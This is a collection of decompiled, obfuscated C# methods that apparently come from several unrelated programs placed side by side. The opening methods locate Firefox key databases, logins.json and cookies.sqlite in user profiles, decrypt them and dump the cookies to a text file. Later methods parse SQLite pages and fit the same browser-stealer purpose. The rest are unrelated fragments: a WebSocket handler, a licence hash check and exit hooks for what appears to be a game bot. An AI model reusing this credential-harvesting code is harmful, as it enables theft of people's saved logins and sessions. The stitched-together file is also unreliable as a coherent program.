// Token: 0x060001E0 RID: 480 RVA: 0x0000F0A4 File Offset: 0x0000D2A4 public static void smethod_2() { List <string> list = new List <string>(); list.AddRange(Class12.smethod_0(Class12.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class12.smethod_0(Class12.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class12.string_2) ? Class12.smethod_12(fullName) : Class12.pbkrPshvsy(fullName); string string_2 = Class12.smethod_4(fullName); Class12.smethod_7(fullName, string_, string_2); string text2 = ""; foreach (string str in Class12.list_1) { text2 += str; } if (text2 != "") { File.WriteAllText(Help.Cookies + "\\Cookies_Mozilla.txt", text2, Encoding.Default); } } }
// Token: 0x060001DE RID: 478 RVA: 0x0000EEE0 File Offset: 0x0000D0E0 public static List <string> smethod_0(string string_3, int int_1 = 4, int int_2 = 1, params string[] files) { List <string> list = new List <string>(); List <string> result; if (files == null || files.Length == 0 || int_2 > int_1) { result = list; } else { try { string[] directories = Directory.GetDirectories(string_3); foreach (string path in directories) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag = false; int num = 0; while (num < files2.Length && !flag) { int num2 = 0; while (num2 < files.Length && !flag) { string a = files[num2]; FileInfo fileInfo = files2[num]; if (a == fileInfo.Name) { flag = true; list.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in Class12.smethod_0(directoryInfo.FullName, int_1, int_2 + 1, files)) { if (!list.Contains(item)) { list.Add(item); } } } catch { } } result = list; } catch { result = list; } } return(result); }
public MessageHandler method_11() { if (!this.nullable_0.HasValue) { string str = Class84.smethod_0().imethod_8(this.byte_0, 0, this.int_4); if (str.Length == 1) { return(null); } this.nullable_0 = new bool?(str.ToLower().Contains("websocket")); if (this.nullable_0.Value) { Class9 class7 = new Class9(str); this.int_4 = 0; byte[] buffer = Class84.smethod_0().imethod_9(class7.method_2()); base.GetStream().Write(buffer, 0, buffer.Length); return(null); } } if (this.nullable_0.Value) { int num = 0; Class12 class4 = Class12.smethod_0(this.byte_0, this.int_4, out num); if (class4 == null) { return(null); } if (class4.Header.method_4() == 8) { this.bool_1 = true; return(null); } this.method_12(num); Class41 class3 = Class41.smethod_1(class4.method_1(), 0); class3.SetClientType((base.GetStream() is SslStream) ? ClientType.WebSocket_SSL : ClientType.WebSocket); return(new MessageHandler(class3, class4.method_1(), class3.imethod_4(), base.GetIPEndPoint())); } if (this.int_4 < this.int_3) { return(null); } Class41 class6 = Class41.smethod_1(this.byte_0, 0); if (class6.imethod_5() == 0) { this.method_12(class6.imethod_4()); return(new MessageHandler(class6, null, base.GetIPEndPoint())); } if (this.int_4 < (this.int_3 + class6.imethod_5())) { return(null); } byte[] dst = new byte[class6.imethod_5()]; Buffer.BlockCopy(this.byte_0, class6.imethod_4(), dst, 0, class6.imethod_5()); this.method_12(class6.imethod_4() + class6.imethod_5()); return(new MessageHandler(class6, dst, 0, base.GetIPEndPoint())); }
private void method_3(object sender, UnhandledExceptionEventArgs e) { if (e.ExceptionObject != null) { ilog_0.DebugFormat("Unhandled global exception! {0}", e.ExceptionObject.ToString()); } Class12.smethod_0(); TritonHs.smethod_1(); Logger.OpenLogFile(); }
internal static long smethod_0() { if ((Assembly.GetCallingAssembly() != typeof(Class6).Assembly) || !smethod_1()) { return(0L); } lock (class8_0) { long num2 = class8_0.method_0(); if (num2 == 0L) { AssemblyName name; Assembly executingAssembly = Assembly.GetExecutingAssembly(); List <byte> list = new List <byte>(); try { name = executingAssembly.GetName(); } catch { name = new AssemblyName(executingAssembly.FullName); } byte[] publicKeyToken = name.GetPublicKeyToken(); if ((publicKeyToken != null) && (publicKeyToken.Length == 0)) { publicKeyToken = null; } if (publicKeyToken != null) { list.AddRange(publicKeyToken); } list.AddRange(Encoding.Unicode.GetBytes(name.Name)); int num4 = smethod_3(typeof(Class6)); int num5 = Class12.smethod_0(); list.Add((byte)(num4 >> 8)); list.Add((byte)num5); list.Add((byte)(num4 >> 0x10)); list.Add((byte)(num5 >> 8)); list.Add((byte)num4); list.Add((byte)(num5 >> 0x18)); list.Add((byte)(num4 >> 0x18)); list.Add((byte)(num5 >> 0x10)); int count = list.Count; ulong num = 0L; for (int i = 0; i != count; i++) { num += (ulong)list[i]; num += num << 20; num ^= num >> 12; list[i] = 0; } num += num << 6; num ^= num >> 0x16; num += num << 30; num2 = (long)num; num2 ^= -4792907524311011554L; class8_0.method_1(num2); } return(num2); } }
// Token: 0x06000148 RID: 328 RVA: 0x0000AD2C File Offset: 0x00008F2C private bool method_2(ulong ulong_2) { bool result; try { if (this.byte_1[(int)(checked ((IntPtr)ulong_2))] == 13) { uint num = (uint)(this.method_5((int)ulong_2 + 3, 2) - 1UL); int num2 = 0; if (this.struct6_0 != null) { num2 = this.struct6_0.Length; Array.Resize <Class12.Struct6>(ref this.struct6_0, this.struct6_0.Length + (int)num + 1); } else { this.struct6_0 = new Class12.Struct6[num + 1U]; } for (uint num3 = 0U; num3 <= num; num3 += 1U) { ulong num4 = this.method_5((int)ulong_2 + 8 + (int)(num3 * 2U), 2); if (ulong_2 != 100UL) { num4 += ulong_2; } int num5 = this.method_6((int)num4); this.method_7((int)num4, num5); int num6 = this.method_6((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.method_7((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.method_6((int)num7); int num9 = num8; long num10 = this.method_7((int)num7, num8); Class12.Struct5[] array = null; long num11 = (long)(num7 - (ulong)((long)num8) + 1UL); int num12 = 0; while (num11 < num10) { Array.Resize <Class12.Struct5>(ref array, num12 + 1); int num13 = num9 + 1; num9 = this.method_6(num13); array[num12].long_1 = this.method_7(num13, num9); array[num12].long_0 = (long)((array[num12].long_1 <= 9L) ? ((ulong)this.byte_0[(int)(checked ((IntPtr)array[num12].long_1))]) : ((ulong)((!Class12.smethod_0(array[num12].long_1)) ? ((array[num12].long_1 - 12L) / 2L) : ((array[num12].long_1 - 13L) / 2L)))); num11 = num11 + (long)(num9 - num13) + 1L; num12++; } if (array != null) { this.struct6_0[num2 + (int)num3].JlwjuRntCn = new string[array.Length]; int num14 = 0; for (int i = 0; i <= array.Length - 1; i++) { if (array[i].long_1 > 9L) { if (!Class12.smethod_0(array[i].long_1)) { if (this.ulong_0 == 1UL) { this.struct6_0[num2 + (int)num3].JlwjuRntCn[i] = Encoding.Default.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].long_0); } else if (this.ulong_0 == 2UL) { this.struct6_0[num2 + (int)num3].JlwjuRntCn[i] = Encoding.Unicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].long_0); } else if (this.ulong_0 == 3UL) { this.struct6_0[num2 + (int)num3].JlwjuRntCn[i] = Encoding.BigEndianUnicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].long_0); } } else { this.struct6_0[num2 + (int)num3].JlwjuRntCn[i] = Encoding.Default.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].long_0); } } else { this.struct6_0[num2 + (int)num3].JlwjuRntCn[i] = Convert.ToString(this.method_5((int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].long_0)); } num14 += (int)array[i].long_0; } } } } else if (this.byte_1[(int)(checked ((IntPtr)ulong_2))] == 5) { uint num15 = (uint)(this.method_5((int)(ulong_2 + 3UL), 2) - 1UL); for (uint num16 = 0U; num16 <= num15; num16 += 1U) { uint num17 = (uint)this.method_5((int)ulong_2 + 12 + (int)(num16 * 2U), 2); this.method_2((this.method_5((int)(ulong_2 + (ulong)num17), 4) - 1UL) * this.ulong_1); } this.method_2((this.method_5((int)(ulong_2 + 8UL), 4) - 1UL) * this.ulong_1); } result = true; } catch { result = false; } return(result); }
// Token: 0x06000149 RID: 329 RVA: 0x0000B258 File Offset: 0x00009458 private void method_3(long long_0) { try { byte b = this.byte_1[(int)(checked ((IntPtr)long_0))]; if (b != 5) { if (b == 13) { ulong num = this.method_5((int)long_0 + 3, 2) - 1UL; int num2 = 0; if (this.struct7_0 != null) { num2 = this.struct7_0.Length; Array.Resize <Class12.Struct7>(ref this.struct7_0, this.struct7_0.Length + (int)num + 1); } else { this.struct7_0 = new Class12.Struct7[num + 1UL]; } for (ulong num3 = 0UL; num3 <= num; num3 += 1UL) { ulong num4 = this.method_5((int)long_0 + 8 + (int)num3 * 2, 2); if (long_0 != 100L) { num4 += (ulong)long_0; } int num5 = this.method_6((int)num4); this.method_7((int)num4, num5); int num6 = this.method_6((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.method_7((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.method_6((int)num7); int num9 = num8; long num10 = this.method_7((int)num7, num8); long[] array = new long[5]; for (int i = 0; i <= 4; i++) { int int_ = num9 + 1; num9 = this.method_6(int_); array[i] = this.method_7(int_, num9); array[i] = (long)((array[i] <= 9L) ? ((ulong)this.byte_0[(int)(checked ((IntPtr)array[i]))]) : ((ulong)((!Class12.smethod_0(array[i])) ? ((array[i] - 12L) / 2L) : ((array[i] - 13L) / 2L)))); } if (this.ulong_0 != 1UL && this.ulong_0 != 2UL) { } if (this.ulong_0 == 1UL) { this.struct7_0[num2 + (int)num3].string_0 = Encoding.Default.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else if (this.ulong_0 == 2UL) { this.struct7_0[num2 + (int)num3].string_0 = Encoding.Unicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else if (this.ulong_0 == 3UL) { this.struct7_0[num2 + (int)num3].string_0 = Encoding.BigEndianUnicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } this.struct7_0[num2 + (int)num3].long_0 = (long)this.method_5((int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2]), (int)array[3]); if (this.ulong_0 == 1UL) { this.struct7_0[num2 + (int)num3].string_1 = Encoding.Default.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else if (this.ulong_0 == 2UL) { this.struct7_0[num2 + (int)num3].string_1 = Encoding.Unicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else if (this.ulong_0 == 3UL) { this.struct7_0[num2 + (int)num3].string_1 = Encoding.BigEndianUnicode.GetString(this.byte_1, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } } } } else { uint num11 = (uint)(this.method_5((int)long_0 + 3, 2) - 1UL); for (int j = 0; j <= (int)num11; j++) { uint num12 = (uint)this.method_5((int)long_0 + 12 + j * 2, 2); if (long_0 == 100L) { this.method_3((long)((this.method_5((int)num12, 4) - 1UL) * this.ulong_1)); } else { this.method_3((long)((this.method_5((int)(long_0 + (long)((ulong)num12)), 4) - 1UL) * this.ulong_1)); } } this.method_3((long)((this.method_5((int)long_0 + 8, 4) - 1UL) * this.ulong_1)); } } catch { } }
protected override void OnExit(ExitEventArgs e) { Class12.smethod_0(); TritonHs.smethod_1(); base.OnExit(e); }